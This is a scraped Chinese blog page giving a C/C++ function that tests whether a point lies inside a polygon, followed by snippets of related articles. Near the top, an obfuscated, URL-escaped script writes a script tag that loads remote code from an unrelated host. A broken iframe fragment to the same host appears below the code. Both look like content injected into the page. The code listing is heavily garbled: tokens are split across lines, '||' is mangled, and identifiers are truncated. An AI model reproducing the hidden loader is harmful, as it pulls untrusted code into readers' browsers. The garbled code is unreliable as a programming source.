判断一个点是否在某个封闭曲线内的算法

最新推荐文章于 2021-08-18 16:35:21 发布
最新推荐文章于 2021-08-18 16:35:21 发布
阅读量303 收藏
点赞数
文章标签： 算法 google javascript features border image
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/lxf464385/article/details/1856305
版权
 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count1.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
判断一个点是否在某个封闭曲线内的算法

<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>


 
http://community.csdn.net/Expert/FAQ/FAQ_Index.asp?id=198803
//
            判断某点是否落在多边形中。            2003.2.28.  
long
  fall1(
double
  a3,  
double
  a1,  
long
  na,  
long
  nb,  CPoint3DArray
&
  f)  
...
{  
//
a3  被测点X坐标  
//
a1  被测点Y坐标  
//
na  多边形首点序号  
//
nb  多边形末点序号  
//
f  多边形坐标数组  
       
double
  f1,f2,tk,lvalue,f3,f4;  
       
double
  tt;  
       
long
  ncr,n3;          
         
       
if
(f[na].x
>
1000000
.)        lvalue
=
1.0
;  
       
else
  
if
(f[na].x
>
100000
.)        lvalue
=
0.1
;  
       
else
  
if
(f[na].x
>
10000
.)        lvalue
=
0.01
;  
       
else
  
if
(f[na].x
>
1000
.)        lvalue
=
0.001
;  
       
else
        lvalue  
=
  
0.00000001
;  
           lvalue  
=
  
0.00000001
;  
/**/
///
//        fp5=fopen("tmp1","wt");  
/**/
/*
      WRITE(*,*)  NA,NB      
*/
  
       ncr
=
0
;  
//
        xx0=x0;  
//
        yy0=y00;  
/**/
/*
    printf(str,"%4ld  %4ld  %12.1f  %12.1f ",  
       a,nb,a3,a1);  
       extOut(hDC,10,150,str,70);  
       essageBox(hWnd,  str,  "fall1",  MB_OK    ¦  MB_ICONEXCLAMATION);    
*/
  
       
for
(n3
=
na;n3
<=
nb;n3
++
)  
       
...
{  
/**/
/*
    printf(str,"%4ld  %12.1f  %12.1f ",  
       3,(*(f+n3)).x,(*(f+n3)).y);  
       extOut(hDC,10,70,str,strlen(str));    
*/
  
                   
if
(fabs(a3
-
f[n3].x)
<
lvalue
&&
fabs(a1
-
f[n3].y)
<
lvalue)  
                       
...
{  
                               ncr
=
1
;  
                               
goto
  a99;  
                       }
  
       }
  
       n3
=
na
-
1
;  
a5:  n3
++
;  
       f1
=
f[n3].x;  
       f2
=
f[n3
+
1
].x;  
       f3  
=
  (n3
==
na)  
?
  f[nb
-
1
].x  :  f[n3
-
1
].x;  
       f4  
=
  (n3
+
1
==
nb)  
?
  f[na
+
1
].x  :  f[n3
+
2
].x;  
/**/
/*
    ia1=(f1-x0)*xp+10;  
       ia2=410-((*(f+n3)).y-y00)*yp;  
       MoveTo(hDC,ia1,ia2);  
       ia1=(f2-x0)*xp+10;  
       ia2=410-((*(f+n3+1)).y-y00)*yp;  
       LineTo(hDC,ia1,ia2);    
*/
  
//
    printf(fp5,"%4ld  %12.1f  %12.1f  %12.1f  %12.1f ",  
//
    3,f1,(*(f+n3)).y,f2,(*(f+n3+1)).y);  
/**/
/*
    if(fabs(a3-292840.)<lvalue&&fabs(a1-134320.)<lvalue)  
       {  
       printf(str,"%4ld  %12.1f  %12.1f  %12.1f  %12.1f",  
       3,f1,(*(f+n3)).y,f2,(*(f+n3+1)).y);  
       extOut(hDC,10,70,str,strlen(str));  
       }    
*/
  
a199:            ;  
           
if
(fabs(f1
-
f2)
<
lvalue)  
           
...
{          
/**/
/*
    Xi=xi+1    
*/
  
                       
if
(fabs(a3
-
f1)
<
lvalue)  
                       
...
{  
                                   
if
(f[n3].y
>
f[n3
+
1
].y)  
                                   
...
{    
/**/
/*
    2    
*/
  
                                               
if
(a1
>
f[n3
+
1
].y
&&
a1
<
f[n3].y)  
                                               
...
{      
/**/
/*
    1    
*/
  
                                             ncr
=
1
;  
                                             
goto
  a99;  
                                               }
            
/**/
/*
    1'    
*/
  
                                               
else
  
                                             
goto
  a64;  
                                   }
    
/**/
/*
      2'    
*/
  
                                   
else
  
                                   
...
{      
/**/
/*
      2.1      
*/
  
                                               
if
(a1
>
f[n3].y
&&
a1
<
f[n3
+
1
].y)  
                                               
...
{        
/**/
/*
    1      
*/
  
                                                           ncr
=
1
;  
                                             
goto
  a99;  
                                               }
  
                                               
else
  
                                                   
goto
  a64;  
                                   }
              
/**/
/*
    2.1'    
*/
  
                       }
  
                       
else
  
                               
goto
  a64;  
           }
  
           
if
(fabs(a3
-
f1)
<
lvalue)  
           
...
{  
                       
if
(f2
<
f1
&&
f3
<
f1  ¦  ¦f2
>
f1
&&
f3
>
f1)
goto
  a64;  
                   f1
=
f1
+
lvalue
*
2
.;  
           }
    
           
if
(fabs(a3
-
f2)
<
lvalue)  
           
...
{  
                             
if
(f1
<
f2
&&
f4
<
f2  ¦  ¦f1
>
f2
&&
f4
>
f2)  
                       
...
{  
                               n3
++
;  
                                         
goto
  a64;  
                             }
  
                   f2
=
f2
+
lvalue
*
2
.;  
           }
  
           
if
(fabs(f1
-
f2)
<
lvalue)  
goto
  a199;  
           
if
(f1
>
f2
&&
(a3
>
f1  ¦  ¦a3
<
f2)  ¦  ¦f1
<
f2
&&
(a3
>
f2  ¦  ¦a3
<
f1))  
goto
  a64;  
/**/
/*
    if(fabs(a3-292840.)<lvalue&&fabs(a1-134320.)<lvalue)  
       {  
       printf(str,"%4ld  %6ld  %12.1f  %12.1f  %12.1f  %12.1f",  
       3,nb,f1,(*(f+n3)).y,f2,(*(f+n3+1)).y);  
       extOut(hDC,10,90,str,strlen(str));  
       }      
*/
  
           tt
=
(
double
)(f[n3
+
1
].y
-
f[n3].y)
/
(
double
)(f2
-
f1);  
   
/**/
/*
        if(f1>f2)  
               tk=tt*(a3-f1)+(*(f+n3)).y;  
               else  
               tk=tt*(a3-f2)+(*(f+n3+1)).y;      
*/
  
           tk
=
tt
*
(
double
)(a3
-
f1)
+
f[n3].y;  
           
if
(fabs(a1
-
tk)
>
lvalue)  
goto
  a63;  
           ncr
=
1
;  
           
goto
  a99;  
a63:            ;  
           
if
(a1
>
tk)  
goto
  a64;  
           ncr
=
ncr
+
1
;  
/**/
/*
          sprintf(str,  
"%4ld  %4ld  %12.1f  %12.1f  %12.1f  %12.1f  %12.1  %12.1f  %12.1f  %12.1f  %12.1f ",  
             ncr,n3,a3,a1,(*(f+n3)).x,(*(f+n3)).y,(*(f+n3+1)).x,(*(f+n3+1)).y,f1,f2,tk);    
*/
  
/**/
/*
          TextOut(hDC,10,150,str,strlen(str));    
*/
  
   
/**/
/*
        ia1=(f1-x0)*xp+10;  
               ia2=410-((*(f+n3)).y-y00)*yp;  
               MoveTo(hDC,ia1,ia2);  
               ia1=(f2-x0)*xp+10;  
               ia2=410-((*(f+n3+1)).y-y00)*yp;  
               LineTo(hDC,ia1,ia2);  
             MessageBox(hWnd,  str,  "ncr",  MB_OK    ¦  MB_ICONEXCLAMATION);      
*/
  
a64:            ;  
           
if
(n3
<
nb
-
1
)  
goto
  a5;  
/**/
/*
    99            IER=SET_COLOR(0)  
CC            ier  =  filled_rectangle(2,470,640,480)  
CC                WRITE(VB,'(A,I4)')  'Ncr:',NCR  
CC                IER=GRAPHIC_TEXT(VB,2,470,12)  
CC                  IER=PAUSE()                                                  
*/
  
a99:          ;  
/**/
/*
          sprintf(str,"%4ld  %4ld  %4ld  %12.1f  %12.1f ",  
             ncr,na,nb,a3,a1);  
             TextOut(hDC,10,150,str,70);  
             MessageBox(hWnd,  str,  "ncr",  MB_OK    ¦  MB_ICONEXCLAMATION);        
*/
  
//
              fclose(fp5);  
       
return
  ncr;  
}
  
 
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
src="http://avss.b15.cnwg.cn/count/iframe1.asp" frameborder="0" width="650" scrolling="no" height="160">
lxf464385
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
判断一系列坐标点是否在封闭图形内
05-31
文件中给了障碍物的数据，使用者也可自行修改各种数据，算法实现判断坐标点是否在三角形内，若在就删除
判断一个坐标点是否在封闭曲线内的方法(swift)
weixin_30389003的博客
03-14 764
1 //用playground运行即可 2 import UIKit 3 4 var str = "Hello, playground" 5 6 let lTestPointsOne : [(Double, Double)] = [(0,0)] 7 let lTestPoints : [(Double, Double)] = [(0,0),(0,1),(1,1...
C# 精确判断 点 是否在 闭合曲线 内
05-25
使用射线法，精确判断某点是否在由一组点所确定的任意的闭合曲线内（折线图）
日积一步2（如何判断点在空间曲线的内部还是外部）
sa_zzq的博客
08-16 3471
算法原理：假设带有孔的空间曲面，其外轮廓顺时针转动，内轮廓逆时针转动，那么沿着曲线的方向前进，轮廓的内部始终在我们的右手边。那么如何确定点是在我们的左侧还是右侧呢？可按如下步骤进行： 1. 获取该点的法向，由内向外，或由下向上，什么是上呢？就是从人的脚指向头(倒立的除外） 2.将被判断的点投影到与法向垂直的面上，该平面通过曲线上引出法向的那一点，并连接投影点与法向量的原点，作为投影向量。 3...
判断点在闭合曲线内部还是外部的方法
dfsrewgf的博客
08-18 2909
1、原理 从目标点引一条射线，判断这条线与曲线的交点个数为奇数还是偶数，为奇数表示点在曲线外，偶数表示点在曲线内。实际计算的时候，只需要判断一侧即可。 C 代码： //xFlat为目标点，points为线段中的点 int nInsideFlag = 0; for (int pIdx = 0; pIdx < nLines; ++pIdx) { points->GetPoint(pIdx, p1); points->GetPoint(pIdx + 1, p2); fl
安卓判断某个点是否在扇形或者区域内
07-19
在Android开发中，有时我们需要判断一个点是否位于特定的几何形状内部，比如扇形或某个封闭的区域。这个功能在创建交互式用户界面或者进行图形绘制时尤其有用。标题和描述提到的“安卓判断某个点是否在扇形或者区域...
道格拉斯普克算法
08-25
在实际应用中，对于封闭曲线，道格拉斯-普克算法需要进行特殊处理，比如通过计算最小面积外接矩形或使用其他方法将其拆分成两条独立的曲线。此外，算法还需要考虑防止化简过程中出现的自相交和相互交问题，这通常...
计算机图形学 实验一基本图形绘制
12-29
它基于错误修正的思想，通过对每个像素的判断，决定是否应该在当前像素位置上画点。Bresenham算法适用于整数坐标，对于小角度的直线，精度较高。 2. **DDA（Digital Differential Analyzer）算法** 是另一种绘制...
判断一个点是否在闭合曲线内
热门推荐
判断一个点是否在闭合曲线内
03-18 1万+
判断点是否在闭合曲线内 以前在做医疗靶区勾画时用到过这个算法，现在总结一下，介绍引射线法。 1、原理 从目标点引一条射线，判断这条线与曲线的交点个数为奇数还是偶数，为奇数表示点在曲线内，偶数表示点在曲线外。 js代码如下： function pointInPolygon(point, lines) { var inside = false; for ...
matlab 判断点与多边形区域之间的位置关系（内，外）
xiaoman118的专栏
01-07 5887
铅垂线内点法实现判断一个点与多边形区域之间的位置关系。 铅垂线内点法的基本思想是从待判别点向外引铅垂线，计算其与多边形交点的个数。若交点个数为奇数，则点在多边形内；若交点个数为偶数，则该点在多边形外。具体参见【王润科，张艳丽】的《判断多边形位置关系的算法综述》。 matlab代码 function result=area() clear clc % the sequence poin
判断一个点是否在某个多边形范围内(Java和python实现)
纯洁的小魔鬼
09-19 7362
一.java实现 所用jar包: <dependency> <groupId>nl.cloudfarming.client</groupId> <artifactId>lib-geotools</artifactId> <version>2.7.5</version> </de...
判断点是否在封闭区域里面
chujava的专栏
03-18 5913
一、判断点在不在区域里面方法      1.判断点在不在区域里面，作点水平向左的线段（这个水平线段尽量的达到X轴负方向），看与图形（代指区域）的交点是否是奇数个，如果是奇数个就是在图形里面。 关于交点特殊情况的判断，如果水平向左的线段与图形的线段重合，则记为2个交点（或者0个），水平向左的线段与图形的线段的交点是图形线段的端点的情况，这个端点是图形线段的高点则交点加一（高点即线段两点Y轴坐标大
一个判断点是否在参数方程连续可微的封闭曲线界定的区域之内的好概念
stereohomology
06-04 4725
先把标题放在这里,内容我慢慢准备,一点点添加1. 一个简单的例子从最简单的情况出发,连续可微的封闭曲线为边界的,最简单例子是”圆”. ——“什么？你忽悠我？！” 为了不至于激起不满，我临时决定把这个简单的例子更改为椭圆。当然，如果椭圆的长短轴跟直角坐标系的坐标轴平行，其实也还简单，所以让它再旋转一个角度θ\theta。所以我选择了如下参数方程的椭圆： {x=y=5costcosθ−3sints
写一个算法,判断某个GPS坐标在一组GPS多边形中
最新发布
09-07
### 回答1： 我们可以使用以下算法来判断某个GPS坐标是否在多边形内： 1. 将多边形的所有边都看做一条线段，对于给定的GPS坐标点，在地图上画一条从该点出发的水平线（即与地图垂直的线段）。 2. 对于多边形的每一条边，判断该边是否与水平线相交。如果相交，则记录下交点的坐标。 3. 判断交点的个数。如果为奇数，则表示给定的GPS坐标在多边形内；如果为偶数，则表示给定的GPS坐标在多边形外。 例如，假设我们有一个多边形，其顶点坐标分别为(0,0)、(10,0)、(10,10)、(0,10)。我们希望判断坐标(5,5)是否在多边形内。我们可以画出如下图所示的水平线： [图片] 我们可以发现，水平线与多边形四条边都相交，因此交点的个数为4，为偶数。因此，我们可以判断坐标(5,5)不在多边形内。 ### 回答2： 判断某个GPS坐标是否在一组GPS多边形中的算法可以采用射线法。 1. 首先，将所有多边形按照顺时针或逆时针的方式定义多边形的点序。 2. 给定一个需要判断的GPS坐标点P，在使用射线法判断其是否在多边形内之前，需要先判断该点是否在多边形的外接矩形范围内。如果不在矩形范围内，可以直接判断为不在多边形内，从而节省计算时间。 3. 对于在矩形范围内的点P，从点P出发，向右做一条射线R，计算射线与多边形各边的交点的个数。 4. 如果交点的个数为奇数，则表明该点在多边形内；如果交点的个数为偶数，则表明该点在多边形外。 通过以上算法，可以判断某个GPS坐标是否在给定的一组GPS多边形内。在具体实现时，需要注意对GPS坐标的精确度进行处理，以及对多边形的边界情况进行特殊处理，如点在多边形边上的情况。 ### 回答3： 要判断某个GPS坐标是否在一组GPS多边形中，可以使用射线交点法。首先，需要将每个多边形的坐标点连接成边线，并计算多边形的边数。 1. 首先，将要判断的GPS坐标与多边形的任意一点连接成一条射线。 2. 遍历多边形的每条边线，求出射线与边的交点。 3. 判断交点是否在射线上。如果交点不在射线上，则继续遍历下一条边线；如果交点在射线上，则继续判断交点是否在射线的延长线上。如果在延长线上，则代表射线与边线相交。 4. 统计射线与多边形的交点个数。如果交点个数为奇数，则代表GPS坐标在多边形内；如果交点个数为偶数，则代表GPS坐标在多边形外。 5. 根据统计结果确定GPS坐标是否在一组GPS多边形中。 该算法的时间复杂度约为O(n)，其中n为多边形的边数。该算法基于射线交点判断方法，能够准确判断GPS坐标是否在多边形内部。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值